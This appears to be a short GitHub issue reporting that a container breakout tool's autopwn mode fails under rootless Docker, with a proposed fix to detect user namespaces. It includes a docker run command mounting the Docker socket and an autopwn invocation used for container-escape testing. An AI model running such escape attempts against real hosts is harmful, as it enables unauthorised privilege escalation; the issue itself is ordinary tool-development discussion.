autopwn doesn't work with rootless containers

[raesene]

I was just testing out rootless docker, so obviously trying botb -autopwn.

At the moment it's failing as --pid=host and --ipc=host don't work with rootless.

docker run -it -v /run/user/1000/docker.sock:/var/run/docker.sock raesene/alpine-containertools /bin/bash

bash-5.0# botb -autopwn

A fix for this would probably be to detect the container is running in a user namespace, and then change the autopwn command to drop those two bits off.
